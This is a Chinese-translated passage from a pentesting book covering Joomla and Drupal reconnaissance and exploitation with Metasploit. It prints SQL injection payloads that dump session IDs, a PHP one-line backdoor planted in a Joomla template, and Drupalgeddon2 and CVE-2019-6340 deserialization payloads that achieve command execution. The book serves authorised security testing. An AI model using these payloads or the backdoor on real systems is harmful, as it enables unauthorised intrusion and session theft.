hsn-web-pentest-mtspl-merge-2

346 阅读1小时+

Metasploit Web 渗透测试实用指南(三)

原文:annas-archive.org/md5/53B22D5EEA1E9D6C0B08A2FDA60AB7A5

译者:飞龙

协议:CC BY-NC-SA 4.0

第十二章:渗透测试 CMS - Joomla

在上一章中,我们学习了如何对 WordPress 进行渗透测试pentesting)。就像 WordPress 一样,还有另一个被组织广泛使用来管理其网站门户的内容管理系统CMS)- Joomla。在本章中,我们将学习 Joomla,其架构以及可用于测试基于 Joomla 的网站安全性的模块。以下是本章将涵盖的主题:

  • Joomla 简介

  • Joomla 架构

  • 侦察和枚举

  • 使用 Metasploit 枚举 Joomla 插件和模块

  • 使用 Joomla 进行漏洞扫描

  • 使用 Metasploit 进行 Joomla 利用

  • Joomla shell 上传

技术要求

以下是本章的技术先决条件:

Joomla 简介

Joomla 是一个由 Open Source Matters,Inc.创建的免费开源 CMS,用于发布 Web 内容。它基于模型-视图-控制器MVC)Web 应用程序框架,可以独立于 CMS 使用。 Joomla 成立于 2005 年 8 月 17 日,是 Mambo 分支的结果。

Joomla 有成千上万的扩展和模板,其中许多是免费提供的。 Joomla 的一些功能包括以下内容:

  • 它是多语言的。

  • 它提供开箱即用的搜索引擎优化SEO)并且是搜索引擎友好SEF)的。

  • 它是免费使用的,遵循通用公共许可证GPL)。

  • 它具有访问控制列表,允许您管理网站的用户以及不同的用户组。

  • 它具有菜单管理,因此可以创建尽可能多的菜单和菜单项。

现在我们已经简要介绍了 Joomla,让我们看看它的架构,以深入了解软件。

Joomla 架构

Joomla 的架构基于 MVC 框架。我们可以将架构分为四个主要部分:

  • 显示:这是用户访问网站时看到的前端。它包含 HTML 和 CSS 文件。

  • 扩展:扩展可以进一步分为五种主要类型:

  • 组件:组件可以被视为迷你应用程序;它们既适用于用户也适用于管理员。

  • 模块:这些是可以用于呈现页面的小型灵活扩展。一个例子是登录模块。

  • 插件:这些是更高级的扩展,也被称为事件处理程序。这些事件可以从任何地方触发,并执行与该事件相关联的插件。

  • 模板:模板负责网站的外观。有两种类型的模板—前端和后端。后端模板由管理员用于监视功能,而前端模板向访问者/用户呈现网站。

  • 语言:这些处理网站文本的翻译。 Joomla 支持 70 多种语言。

  • 框架:框架由 Joomla 核心组成。这些是负责应用程序的主要功能的 PHP 文件,例如配置文件。

  • 数据库:数据库存储用户信息,内容等。 Joomla 支持 MySQL,Microsoft Server SQLMSSQL)和 PostgreSQL 等。

文件和目录结构

Joomla 中的目录名称非常简单。我们可以通过查看其名称来猜测目录的内容。 Joomla 文件和目录具有以下结构:

  • :这是我们提取 Joomla 源代码的地方。它包含一个执行安装过程的索引文件。

  • 管理员:此文件夹包含 Joomla 管理员界面的所有文件(组件、模板、模块、插件等)。

  • 缓存:此文件夹包含 Joomla 缓存的文件,以增加 CMS 的性能和效率。

  • 组件:此文件夹包含所有用户组件(不包括管理员),包括登录和搜索。

  • 图像:此目录包含 Joomla 界面使用的所有图像,以及用户上传的图像。

  • 包含:此目录包含核心 Joomla 文件。

  • 安装:此文件夹包含安装 Joomla 所需的文件。安装后应删除它。

  • 语言:此文件夹包含所有语言文件。Joomla 以简单的 INI 格式文件存储翻译。

  • :此文件夹包含整个核心库,以及 Joomla 的第三方库。它包含描述文件系统、数据库等的文件。

  • 日志:此文件夹包含应用程序日志。

  • 媒体:此目录存储所有媒体文件,如 Flash 和视频。

  • 模块:模块放置在 Joomla 模板中,如面板。此文件夹包含所有前端模块的文件。一些常见的模块包括登录、新闻和投票。

  • 插件:此文件夹包含所有插件文件。

  • 模板:此文件夹包含所有前端模板文件。每个模板都按名称组织在文件夹中。

  • Tmp:此文件夹存储管理员和用户界面使用的临时文件和 cookie。

我们现在已经了解了 Joomla 的架构。接下来,我们将看一下侦察和枚举。

侦察和枚举

在使用 Joomla 之前,要执行的第一步是确认 Web 应用程序是否由其提供动力。有各种方法可以检测 CMS 的安装,其中一些列在这里:

  • 通过搜索<meta name="generator" content="Joomla! - Open Source Content Management" />

  • 通过探索X-Meta-Generator HTTP标头

  • 通过检查RSS/atom feeds: index.php?format=feed&type=rss/atom

  • 通过 Google Dorks:inurl:"index.php?option=com_users

  • 通过查找X-Content-Encoded-By: Joomla标头

  • 通过查找joomla.svg/k2.png/SOBI 2.png/SobiPro.png/VirtueMart.png

接下来,让我们找出安装了哪个版本的 Joomla。

版本检测

现在我们已经对 Joomla 有了足够的了解,我们可以开始 CMS 渗透测试(我们在上一章中学到了,第八章,Pentesting a CMS – WordPress)。渗透测试 Joomla CMS 的第一步是找出目标服务器上安装的版本。以下是我们可以检测安装了哪个版本的方法:

  • 通过元标记进行检测

  • 通过服务器标头进行检测

  • 通过语言配置进行检测

  • 通过README.txt进行检测

  • 通过manifest文件进行检测

  • 通过唯一关键字进行检测

通过元标记进行检测

generator元标记通常被描述为用于生成文档或网页的软件。确切的版本号在元标记的content属性中披露:

基于 Joomla 的网站通常在其源代码中具有此标记,如前面的屏幕截图所示。

通过服务器标头进行检测

Joomla 的版本号经常在托管应用程序的服务器的响应标头中披露。版本可以在X-Content-Encoded-By标头中披露,如下面的屏幕截图所示:

接下来,我们将通过语言配置来进行检测。

通过语言配置进行检测

Joomla 支持 70 多种语言。每种语言包都有一个 XML 文件,其中披露了版本信息,如下所示:

可以通过/language/<language-type>/<language-type>.xml页面访问此页面。在这种情况下,我们搜索了英国英语(en-GB)格式。

通过 README.txt 检测

这是最简单和最基本的技术。我们所要做的就是访问README.txt页面,我们将看到版本号,如下所示:

该文件包含有关 Joomla 首次用户的各种信息。

通过清单文件检测

Joomla 的manifest文件位于/administrator/manifests/files/joomla.xml,包含了有关服务器上安装的 CMS 的基本信息,以及正在运行的模块、版本号、安装日期等。这也是查找正在运行的 CMS 版本号的好地方:

上述截图显示了包含版本号的manifest文件。

通过唯一关键字检测

确定 Web 服务器上运行的 Joomla 版本的另一种方法是在以下文件中查找特定关键字。这些关键字是特定于版本的,其中一些在此代码块后面的表中列出:

administrator/manifests/files/joomla.xml
language/en-GB/en-GB.xml
templates/system/css/system.css
media/system/js/mootools-more.jsh
taccess.txt
language/en-GB/en-GB.com_media.ini

根据其 Joomla 版本的唯一关键字详细信息如下:

Joomla 版本唯一关键字
版本 2.5MooTools.More={version:"1.4.0.1"}
版本 1.721322 2011-05-11 01:10:29Z dextercowley``22183 2011-09-30 09:04:32Z infograf768``21660 2011-06-23 13:25:32Z infograf768``MooTools.More={version:"1.3.2.1"}
版本 1.620196 2011-01-09 02:40:25Z ian``20990 2011-03-18 16:42:30Z infograf768``MooTools.More={version:"1.3.0.1"}
版本 1.5MooTools={version:'1.12'}``11391 2009-01-04 13:35:50Z ian
版本 1.047 2005-09-15 02:55:27Z rhuk``423 2005-10-09 18:23:50Z stingrey``1005 2005-11-13 17:33:59Z stingrey``1570 2005-12-29 05:53:33Z eddieajau``2368 2006-02-14 17:40:02Z stingrey``4085 2006-06-21 16:03:54Z stingrey``4756 2006-08-25 16:07:11Z stingrey``5973 2006-12-11 01:26:33Z robs``5975 2006-12-11 01:26:33Z robs

以下截图显示了en-GB.ini文件中的一个关键字,这意味着版本是 1.6:

在下一节中,我们将看看如何使用 Metasploit 对 Joomla 进行侦察。

使用 Metasploit 进行 Joomla 侦察

现在我们已经了解了检测基于 Joomla 的目标的不同方法,我们可以使用 Metasploit 框架已经提供的 Metasploit 模块进行侦察。我们将使用的第一个模块是joomla_version模块。我们可以使用use auxiliary/scanner/http/joomla_version命令,如下所示:

设置模块所需的所有信息(即 RHOSTS 和 RPORT)后,我们可以使用run命令执行模块,如下所示:

该模块将通过我们在版本检测部分中介绍的不同方法返回运行在目标实例上的 Joomla 版本。在下一节中,我们将学习如何使用 Metasploit 枚举 Joomla 插件和模块。

使用 Metasploit 枚举 Joomla 插件和模块

我们还可以使用 Metasploit 的内置辅助工具来进行 Joomla 的枚举。以下是在 Metasploit 中可用的用于枚举 Joomla 的类别:

  • 页面枚举

  • 插件枚举

页面枚举

第一个是页面枚举。这个辅助程序扫描 Joomla 中存在的常见页面,如readmerobots.txt

要使用辅助工具,我们使用以下命令:

use auxiliary/scanner/http/joomla_pages

然后,我们使用show options命令查看各种模块选项,如下所示:

我们设置RHOSTSRPORT并运行模块。模块完成后,发现的页面将被打印出来,如下所示:

下一步是使用另一个 Metasploit 模块枚举 Joomla 插件。

插件枚举

Metasploit 的另一个辅助工具,可用于枚举插件的是joomla_plugins。该辅助工具使用一个单词列表来查找目录路径,以检测 Joomla 使用的各种插件。我们可以执行以下命令来使用插件枚举模块:

use auxiliary/scanner/http/joomla_plugins

以下屏幕截图显示了前述命令的输出:

show options的输出如前面的屏幕截图所示。一旦执行了模块,脚本将返回它发现的插件的名称,如下所示:

默认情况下,辅助工具使用github.com/rapid7/metasploit-framework/blob/master/data/wordlists/joomla.txt上的单词列表;我们也可以使用自定义单词列表。在下一节中,我们将使用 Joomla 进行漏洞扫描。

使用 Joomla 进行漏洞扫描

Metasploit 目前还没有内置的 Joomla 特定漏洞评估模块。这给我们两个选择;要么像我们在上一章中为 WordPress 所做的那样,为 Joomla 自己制作一个包装器或插件,要么使用已经在线可用的不同工具,如 JoomScan 或 JoomlaVS。在本节中,我们将看一个可以用于执行 Joomla 漏洞评估的优秀工具。

官方 Joomla GitHub 维基页面上包括以下描述:

JoomlaVS 是一个 Ruby 应用程序,可以帮助自动评估 Joomla 安装对利用的脆弱性。它支持基本的指纹识别,并且可以扫描组件、模块和模板中存在的漏洞,以及 Joomla 本身存在的漏洞。

JoomlaVS 可以从以下网址下载:github.com/rastating/joomlavs

可以通过执行以下命令来运行该工具:

./joomlavs.rb

在没有任何参数的情况下运行该工具将打印help部分,如下面的屏幕截图所示。该工具支持不同的扫描类型,例如仅扫描模块、模板或组件:

要对 URL 进行所有扩展的扫描,我们可以使用以下命令:

./joomlavs.rb --url http://<domain here>/ -a

工具将开始运行,并且它发现的所有细节将打印在屏幕上,如下所示:

一旦我们获得了关于可用漏洞、插件和版本号的信息,我们就可以继续进行利用过程。

使用 Metasploit 进行 Joomla 漏洞利用

一旦所有的枚举和版本检测完成,就该进行利用了。在本节中,我们将看一些 Joomla 可以被利用的方式。第一个是在 Joomla 中应用的众所周知的 SQL 注入漏洞,以获得远程代码执行RCE)。Metasploit 模块可用于此,我们可以通过执行use exploit/unix/webapp/joomla_comfields_sqli_rce命令来使用它,如下面的屏幕截图所示:

在运行利用之前,让我们看看它是如何工作的。

漏洞利用的原理是什么?

以下 SQL 查询被发送到服务器,返回表名前缀的 Base64 编码值:

这可以如下所示:

(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID((IFNULL(CAST(TO_BASE64(table_name) AS CHAR),0x20)),1,22) FROM information_schema.tables order by update_time DESC LIMIT 1),0x#{fin_h}),4879))

可以在此处看到发送到 Web 服务器的请求的屏幕截图:

网络服务器返回表名前缀的 Base64 编码值,如下所示,在ABC之间:

以下屏幕截图显示了用于转储用户会话的 SQL 查询:

如下所示:

(UPDATEXML(2170,CONCAT(0x2e,0x414243,(SELECT MID(session_id,1,42) FROM ntnsi_session where userid!=0 LIMIT 1),0x414243),4879))

请求使用send_request_cgi()方法发送。服务器将返回内部服务器错误错误(代码500),但我们可以使用十六进制值——换句话说,#{start_h}#{fin_h}——作为正则表达式从输出中查找会话。以下截图显示了查找十六进制值之间会话的代码:

以下截图显示了发送到服务器以转储会话信息的 SQL 查询:

以下截图显示了 Web 服务器的响应,显示了用户的会话:

如下所示,从数据库中检索到了会话,但在我们的情况下,我们遇到了一个问题;似乎存在字符限制:

查看数据库中的值,我们可以看到并没有返回所有字符,如下所示:

最后三个具有十六进制值ABC的字符未显示在屏幕上。为了解决这个问题,我们可以使用一个解决方法,即不使用单个查询从数据库中检索会话,而是使用MID()函数将会话分为两部分。

需要使用的第一个 SQL 会话负载1如下所示:

(UPDATEXML(2170,CONCAT(0x2e,0x414243,(SELECT MID(session_id,1,15) FROM ntnsi_session where userid!=0 order by time desc LIMIT 1),0x414243),4879))

如下所示:

执行前述 SQL 负载1的结果如下所示:

现在,我们需要使用的第二个 SQL 会话负载如下:

(UPDATEXML(2170,CONCAT(0x2e,0x414243,(SELECT MID(session_id,16,42) FROM ntnsi_session where userid!=0 order by time desc LIMIT 1),0x414243),4879))

如下所示:

执行前述 SQL 负载2的结果如下所示:

现在,我们只需要将我们在前面步骤中通过执行负载12检索到的两个输出连接成一个。让我们将代码添加到模块中:

现在代码已经修改,让我们保存文件并执行模块,看看是否有效:

如我们从前面的截图中所见,我们成功检索到了会话,并且使用存储在数据库中的会话,我们打开了一个 Meterpreter 会话!

Joomla shell 上传

为了理解先前提到的漏洞中上传 shell 的位置,我们将从管理员面板手动上传一个基本的命令执行 shell。

利用后,一旦我们成功以管理员身份登录,我们可以从模板菜单中上传一个 shell。以下截图显示了 Joomla 的管理面板:

从面板菜单中,我们点击 Extensions | Templates | Templates,如下所示:

我们被重定向到模板页面,列出了当前上传的所有模板,包括当前使用的模板。最好不要触摸当前的模板,因为这可能会引起管理员注意到变化并发现我们的代码:

前面的截图显示了模板列表。我们将选择 Protostar,因此点击模板,然后将被重定向到下一页,在左侧列出了所有模板的 PHP 页面,如下所示:

我们点击 index.php 并向文件添加我们自定义的 PHP 一行代码。这将充当后门,并允许我们执行系统级命令:

<?php passthru($GET['cmd']); ?>

以下截图显示了索引的第一行现在有我们的后门:

保存更改后,我们可以在以下路径浏览我们的后门:

domainname.com/<joomla path>/templates/<template name>/index.php?cmd=id

以下截图显示我们的命令已成功执行:

[图片]

一旦我们向客户提供了概念验证,Joomla 的利用就结束了。然而,超越正常的利用方法并进入网络是需要在项目启动会议中与客户讨论的事情。作为渗透测试人员,我们必须遵守客户定义的范围。

如果上传了这样的有效负载,仅仅是为了获得概念验证,那么在利用完成后,我们有义务删除这些后门。

总结

在本章中,我们学习了 Joomla 的架构及其文件和目录结构。然后,我们进行了侦察过程,并了解了查找 Joomla 实例及其版本号的不同方法。我们还研究了为我们自动化这一过程的工具和脚本。最后,我们深入研究了 Joomla 利用的过程,以及利用如何使用先前发现的公开利用的示例。

在下一章中,我们将学习如何对另一个流行的 CMS——Drupal 进行渗透测试。

问题

  1. 我可以在任何操作系统上安装 Joomla 吗?

  2. 如果现有的 Metasploit 模块无法找到 Joomla 的版本,我可以自己创建 Metasploit 模块吗?

  3. Metasploit 模块无法检测安装的 Joomla 版本。还有其他检测方法吗?

  4. 我成功利用 Joomla 上传漏洞上传了一个 shell。有没有可能以隐秘的方式在 CMS 中设置后门?

进一步阅读

第十三章:渗透测试 CMS - Drupal

在上一章中,我们解释了如何对 Joomla 网站进行渗透测试。WordPress、Joomla 和 Drupal 之间存在相当大的差异,特别是在安全性和架构方面。在本章中,我们将学习有关 Drupal、其架构以及如何测试基于 Drupal 的网站的内容。

在本章中,我们将涵盖以下主题:

  • Drupal 及其架构简介

  • Drupal 侦察和枚举

  • 使用 droopescan 进行 Drupal 漏洞扫描

  • 利用 Drupal

技术要求

对于本章,您将需要以下内容:

  • 一些 PHP 知识

  • 对 Metasploit Framework 的基础了解

  • 了解基本的 Linux 命令,如grepag

  • 对 Burp Suite 的基础了解

Drupal 及其架构简介

Drupal 是一个用 PHP 编写的免费开源内容管理系统CMS)。它最初是由Dries Buytaert作为留言板编写的,但在 2001 年成为一个开源项目。尽管与其他 CMS 相比,Drupal 被认为使用起来有点棘手,但它确实提供了内置的 API 来促进自定义模块的开发。

Drupal 的架构

描述 Drupal 架构的一般方法是将其分为四个主要部分,如下图所示:

要了解架构,首先让我们了解 Drupal 的组件。Drupal 的组件列在这里:

  • 主题:主题是定义 Drupal 网站用户界面的文件集合。这些文件包含用 PHP、HTML 和 JavaScript 编写的代码。

  • 模块:模块是事件驱动的代码文件,可用于扩展 Drupal 的功能。一些模块是已知的核心模块,由 Drupal 开发团队维护,因为它们是 Drupal 运行的重要部分。

  • 核心 API:Drupal 的核心是用于与内容和其他模块通信的 API。这些 API 包括以下内容:

  • 数据库 API:这允许开发人员轻松更新/修改数据库中的数据。

  • 缓存 API:此 API 存储页面响应,以便浏览器不必在每次请求时重新渲染页面。

  • 会话处理 API:这可以跟踪网站上不同用户及其活动。

  • 数据库:这是存储所有数据的地方。Drupal 支持不同类型的数据库,如 MySQL、Postgres 和 SQLite。

现在我们对 Drupal 的架构有了基本了解,让我们接下来看目录结构。

目录结构

Drupal 具有以下目录结构:

  • 核心:这包括默认 Drupal 安装使用的文件。

  • 模块:安装在 Drupal 中的所有自定义模块都存储在这里。

  • 配置文件:此文件夹存储安装配置文件。安装配置文件包含有关预安装模块、主题和给定 Drupal 站点配置的信息。

  • 网站:如果 Drupal 与多个站点一起使用,则包含特定于站点的模块。

  • 主题:基础主题和所有其他自定义主题都存储在此目录中。

  • 供应商:此目录包含 Drupal 使用的后端库,如 Symfony。

默认 Drupal 安装的目录结构如下截图所示:

现在我们对 Drupal 的基础知识和目录结构有了了解,让我们继续下一个主题:Drupal 侦察和枚举。

Drupal 侦察和枚举

正如我们在前几章中所讨论的,侦察和枚举是任何渗透测试的关键步骤。在本节中,我们将看一些可用于识别 Drupal 安装和已安装版本的方法。

通过 README.txt 进行检测

这是最简单和最基本的技术。我们只需要访问README.txt页面,就会看到一行文字,上面写着“保护文件和目录免受窥视”:

这将表明该实例确实是 Drupal 实例。

通过元标记检测

具有name属性为"Generator"的元标记标识用于生成文档/网页的软件。版本号在元标记的content属性中公开:

基于 Drupal 的网站通常在其源代码中有这个标签。

通过服务器标头检测

如果服务器响应中存在以下标头之一,也可以识别 Drupal:

  • X-Generator HTTP 标头:这标识了 Drupal 网站。

  • X-Drupal-Cache 标头:这个标头由 Drupal 的缓存使用。如果标头值为X-Drupal-Cache: MISS,这意味着页面不是从缓存显示中提供的,如果你看到X-Drupal-Cache: HIT,这意味着页面是从缓存中提供的。

  • X-Drupal-Dynamic-Cache 标头:该动态缓存用于加载动态内容(缓存页面),但不包括个性化部分。

  • 过期:1978 年 11 月 19 日

以下屏幕截图显示了服务器响应中的这些标头:

Drupal 版本 8+引入了动态缓存标头X-Drupal-Dynamic-Cache,不适用于 Drupal 版本 7 或更早版本。

通过 CHANGELOG.txt 检测

有时,CHANGELOG.txt文件也会公开版本号。该文件可以在这里找到:

/CHANGELOG.txt 
/core/CHANGELOG.txt

我们可以浏览/CHANGELOG.txt/core/CHANGELOG.txt来识别已安装的 Drupal 版本:

在某些情况下,我们可能找不到CHANGELOG.txt文件。在这种情况下,我们可以尝试本节中提到的其他检测技术。

通过 install.php 检测

尽管建议在安装后删除install.php文件,但开发人员经常将其留在服务器上。它可以用于找到 Drupal 安装的版本号:

此方法仅适用于 Drupal 版本 8.x。

这些检测技术只能确定站点是否安装了 Drupal 以及使用的版本。它不会找到 Drupal 中安装的插件、主题和模块。要识别插件、主题和模块,我们需要枚举它们。我们需要枚举插件、主题和模块,因为这些是攻击者可以利用的入口点,以控制 Drupal 站点。作为渗透测试人员,我们需要找到有漏洞的插件、主题和模块(已安装的版本)并报告它们。

插件、主题和模块枚举

现在几乎所有在线可用的开源工具都使用了一种非常常见的技术来枚举 Drupal 插件、主题和模块。要进行枚举,我们只需在themes/plugins/modules/目录中寻找以下文件:

/README.txt 
/LICENSE.txt 
/CHANGELOG.txt

README.txt文件提供了插件、主题和模块的版本。它甚至还公开了 Drupal 版本号。LICENSE.txt文件包括 GNU**通用公共许可证(GPL)**许可证。如果plugins/themes/modules/目录中有这个文件,这意味着特定的插件、主题或模块已安装。CHANGELOG.txt文件公开了已安装的插件、主题或模块的版本号。

模块名称可以从README.txt文件或 URL 本身中找到,如下面的屏幕截图所示:

在枚举方面,我们可以编写自己的 Metasploit 包装模块,或者使用第三方开源工具 droopescan。要编写自己的包装器,我们可以按照上一章第八章中所做的进行。我们现在将继续使用 droopescan 进行漏洞扫描。

使用 droopescan 进行 Drupal 漏洞扫描

没有 Metasploit 模块可以对 Drupal 进行漏洞扫描。因此,我们需要使用第三方工具,如 droopescan,来帮助我们发现 Drupal 中的漏洞。droopescan 可以从github.com/droope/droopescan下载:

  1. 让我们使用以下命令克隆 droopescan 的 Git 存储库进行安装:
git clone https://github.com/droope/droopescan

以下是先前命令的输出截图:

  1. 在运行 droopescan 之前,我们仍然需要安装必要的 Python 模块,可以使用以下命令完成:
pip install -r requirements.txt
  1. 在系统上安装了所有软件包后,我们可以通过执行以下命令来测试安装 droopescan:
./droopescan
  1. 如果在执行 droopescan 时出现错误,我们也可以使用以下命令来执行它:
python droopescan
  1. 安装 droopescan 后,我们可以执行以下命令对 Drupal 进行漏洞扫描:
./droopescan scan drupal -u <URL>

以下是先前命令的输出截图:

droopescan 是一个基于插件的扫描器,用于识别多个 CMS 中的漏洞,但主要是 Drupal。droopescan 使用预先构建的单词列表,并通过暴力破解来检测模块、主题和插件。因此,这完全取决于我们的单词列表有多好。我们也可以找到其他基于 Drupal 的漏洞扫描器,用于识别 Drupal 中的漏洞。唯一的区别是它们所使用的语言(为了效率)和单词列表。

当我们在 Drupal CMS 中发现漏洞后,我们可以继续寻找它们的公开利用程序。其中最著名的漏洞之一是 Drupalgeddon。在接下来的部分中,我们将介绍 Drupalgeddon2 漏洞,并学习如何利用它。

利用 Drupal

在利用 Drupal 时,以下是我们需要牢记的攻击向量:

  • 为了进行暴力破解攻击,枚举 Drupal 用户。

  • 通过猜测密码利用 Drupal 的破损认证

  • 利用插件、主题或模块进行任意文件泄露和上传、持久性跨站脚本XSS)等

  • 利用 Drupal 核心组件进行 SQL 注入和远程代码执行RCE

对于不同版本的 Drupal,可以使用不同的公开利用程序。有时,我们可以使用公开利用程序访问 Drupal 站点,而其他时候我们必须更改利用程序使其生效。了解利用程序并在后期执行它总是一个好的实践。现在让我们先专注于 Drupalgeddon2 的公开利用程序。

利用 Drupal 使用 Drupalgeddon2

2018 年 3 月 28 日,Drupal 发布了一份公告,强调了 Drupal 各个版本中的 RCE 漏洞。后来这个漏洞被重新命名为 Drupalgeddon2。Drupal 6 版本引入了 Form API,用于在表单渲染期间修改数据,在 Drupal 7 中,这被泛化为可渲染数组。可渲染数组以键值结构包含元数据,并在渲染过程中使用:

[ 
'#type' => 'email', 
'#title => '<em> Email Address</em>', 
'#prefix' => '<div>', 
'#suffix' => '</div>' 
] 

现在让我们了解一下基于表单的漏洞。

了解 Drupalgeddon 漏洞

Drupalgeddon 漏洞与特定注册表单有关。此表单在所有 Drupal 安装中都可用,并且可以在没有任何身份验证的情况下访问。在此表单中,电子邮件字段允许用户输入未经过处理的输入,这允许攻击者将数组注入到表单数组结构中(作为email字段的值)。以下属性可用于利用此漏洞:

  • #post_render

  • #lazy_builder

  • #pre_render

  • #access_callback

Metasploit 的利用模块使用#post_render属性将有效载荷注入到mail数组中,大致如下所示:

[ mail[#post_render][]': 'exec', // Function to be used for RCE mail[#type]': 'markup', 'mail[#markup]': 'whoami' // Command ] 

在渲染时,将调用exec()函数,该函数将执行whoami命令并返回输出。现在让我们继续看看这个利用程序的实际操作。

以下代码可以在/core/lib/Drupal/Core/Render/Renderer.php中找到:

/core/modules/file/src/Element/ManagedFile.php如下所示:

我们可以看到表单值使用斜杠进行分解,然后使用NestedArray::getValue()函数来获取值。根据返回的数据,渲染结果。在这种情况下,$form["user_picture"]["widget"][0]变成了user_picture/widget/0。我们可以输入我们自己的路径到所需的元素。在帐户注册表单中,有mailname参数。name参数过滤用户数据,但email参数不会。我们可以将此参数转换为数组,并提交以#开头的行作为键。

返回到/core/lib/Drupal/Core/Render/Renderer.php,我们看到#post_render属性将#children元素并将其传递给call_user_func()函数,如下所示:

这是来自 PHP 手册的:

如果我们传递call_user_func(system,id),它将被执行为system(id)。因此,我们需要将#post_render定义为exec(),并将#children定义为我们要传递给exec()的值:

[ 
mail[#post_render][]': printf, 
mail[#type]': 'markup', 
'mail[#children]': testing123 
] 

另一种方法是使用#markup元素,该元素由互联网上提供的其他漏洞利用所使用。

使用 Metasploit 利用 Drupalgeddon2

还有一个 Metasploit 模块可用于利用 Drupalgeddon2 漏洞,我们可以通过在 msfconsole 中执行以下命令来使用它:

use exploit/unix/webapp/drupal_drupalgeddon2

现在,执行以下步骤来利用漏洞:

  1. 要查看选项,我们运行show options,如下所示:

  1. 接下来,设置rhostsrport的选项,如下截图所示:

  1. 当利用程序运行时,首先通过向/发出请求来查找响应标头或元标记中的 Drupal 版本来进行指纹识别,如下所示:

  1. 接下来,通过调用CHANGELOG.txt并查找SA-CORE-2018-002补丁来执行补丁级别检查,如下所示:

完成前两个步骤后,利用程序通过简单调用printf函数来确认 RCE 的存在并打印响应中的值:

在上述截图中,我们使用了testing123字符串。如果服务器响应testing123,则服务器存在 Drupalgeddon2 漏洞:

使用 PHP 的passthru()函数来确认 RCE 以执行idwhoamiuname -a命令:

服务器将响应返回给执行的命令,如下所示:

  1. 最后一步是发送 PHP meterpreter 有效载荷,如下所示,将其注入并在内存中执行:

成功执行后,我们将在终端中打开一个 meterpreter 会话:

现在,让我们看另一个 Drupal 漏洞的例子,并尝试理解它是如何工作的。

RESTful Web Services 漏洞 - unserialize()

2019 年 2 月,CVE-2019-6340 发布,披露了 Drupal 的 RESTful web 服务模块中的一个漏洞。这个漏洞可以被利用来执行 RCE。只有当 Drupal 安装了所有的 web 服务(HALSerializationRESTful Web ServicesHTTP Basic Authentication,如下面的截图所示)时,才可能发生 RCE:

RESTful Web Services 模块使用 REST API 与 Drupal 通信,可以对网站资源执行更新、读取和写入等操作。它依赖于序列化模块对发送到 API 和从 API 接收的数据进行序列化。Drupal 8 核心使用Hypertext Application LanguageHAL)模块,在启用时使用 HAL 对实体进行序列化。我们可以通过使用GET方法请求节点并带上_format=hal_json参数来检查 Drupal 服务器是否启用了这些 web 服务,如下面的截图所示:

如果安装了模块,我们将得到一个基于 JSON 的响应,如下所示:

如果服务器没有 web 服务模块,我们将收到406不可接受)的 HTTP 代码错误:

这个漏洞存在是因为LinkItem类接受未经过处理的用户输入,并将其传递给unserialize()函数:

从下面的截图中可以看到,根据unserialize()函数的 PHP 手册,当使用unserialize()时,我们不应该让不受信任的用户输入传递给这个函数:

为了利用这个漏洞,需要满足三个条件:

  • 应用程序应该有一个我们可以控制的unserialize()函数。

  • 应用程序必须有一个实现 PHP 魔术方法(destruct()wakeup())的类,执行危险语句。

  • 需要有一个序列化的有效负载,使用应用程序中加载的类。

从前面的截图中,我们可以确认我们可以控制$value['options']表单实体。为了检查魔术方法,让我们使用以下命令在源代码中搜索destruct()函数:

ag __destruct | grep guzzlehttp

下面的截图显示了前面命令的输出:

注意:在执行上述命令之前,您必须安装ag包。

在上面的截图中,我们排除了guzzlehttp,因为 Guzzle 被 Drupal 8 用作 PHP HTTP 客户端和用于构建 RESTful web 服务客户端的框架。

从查看FnStream.php文件(参考上面的截图)中,我们可以看到__destruct()魔术方法调用了call_user_func()函数,如下面的截图所示:

call_user_func()是一个非常危险的函数,特别是当传递多个参数时。我们可以使用这个函数来执行函数注入攻击:

根据 OWASP 的说法,函数注入攻击包括将客户端的函数名称插入或注入到应用程序中。成功的函数注入利用可以执行任何内置或用户定义的函数。函数注入攻击是一种注入攻击类型,其中任意函数名称,有时带有参数,被注入到应用程序中并执行。如果参数被传递到注入的函数,这将导致 RCE。

根据 Drupal API 文档,LinkItem 类用于实现 link 字段类型:

我们知道 LinkItem 类将未经过处理的用户输入传递给 unserialize() 函数,但要调用此类,我们需要首先调用一个实体。实体将是特定实体类型的一个实例,例如评论、分类术语或用户配置文件,或者是一组实例,例如博客文章、文章或产品。我们需要找到一个被 LinkItem 用于导航的实体。让我们使用以下命令在源代码中搜索实体:

ag LinkItem | grep Entity

以下屏幕截图显示了前述命令的输出:

从前面的屏幕截图中可以看到,LinkItem 用于导航到 MenuLinkContent.phpShortcut.php 实体,并且从 Shortcut.php 文件中可以看到,快捷方式实体正在创建一个 link 属性:

要触发 unserialize() 函数,我们需要将我们迄今为止解释的所有元素对齐在一起:

{ "link": [ { "value": "link", "options": "<SERIALIZED_PAYLOAD>" } ], "_links": { "type": { "href": "localhost/rest/type/shortcut/default" } } } 

现在我们已经满足了三个条件中的两个,唯一剩下的就是创建我们的序列化有效负载。有各种方法可以创建序列化有效负载,但我们将使用一个名为PHP 通用小工具链PHPGGC)的库来为 Guzzle 创建一个序列化有效负载。要使用 phpggc 生成序列化有效负载,我们使用以下命令:

./phpggc <gadget chain> <function> <command> --json

以下屏幕截图显示了前述命令的输出:

在前述屏幕截图中生成的 JSON 序列化有效负载将调用 system() 函数并运行 id 命令。我们将以以下 URL 格式使用 GET/POST/PUT 方法提交整个有效负载:localhost/node/1?_format=hal_json

服务器将执行 id 命令并返回我们在此处显示的输出:

我们已成功实现了 RCE,但问题仍然存在:为什么序列化有效负载有效?要回答这个问题,我们需要了解一般序列化数据的外观,并了解序列化格式。

理解序列化

为了基本了解 serialize() 函数,让我们看一下以下 PHP 代码片段:

在前面的代码中,我们初始化了一个名为 my_array 的数组,其中包含以下元素:

  • my_array[0] = "Harpreet"

  • my_array[1] = "Himanshu"

然后我们使用 serialize() 函数为数组生成序列化数据。如下屏幕截图所示,序列化数据流如下:

其他常用的 PHP 序列化格式包括:

  • a:数组

  • b:布尔值

  • i:整数

  • d:双精度

  • O: 通用对象

  • r:对象引用

  • s:字符串

  • C:自定义对象

Metasploit 还针对此漏洞内置了一个利用程序。查看利用程序的源代码,我们注意到它使用的有效负载几乎与 PHPGCC 生成的有效负载相同:

唯一的区别是命令及其长度根据我们通过利用选项给出的输入动态设置。

正如我们在下面的截图中所看到的(在这里我们调用__destruct()函数),要在call_user_func()中执行函数注入,我们必须控制_fn_close方法,以便危险函数(如system()passthru()eval())可以轻松地作为第一个参数传递给call_user_func()

要控制_fn_close方法,我们必须查看构造函数(__construct()):

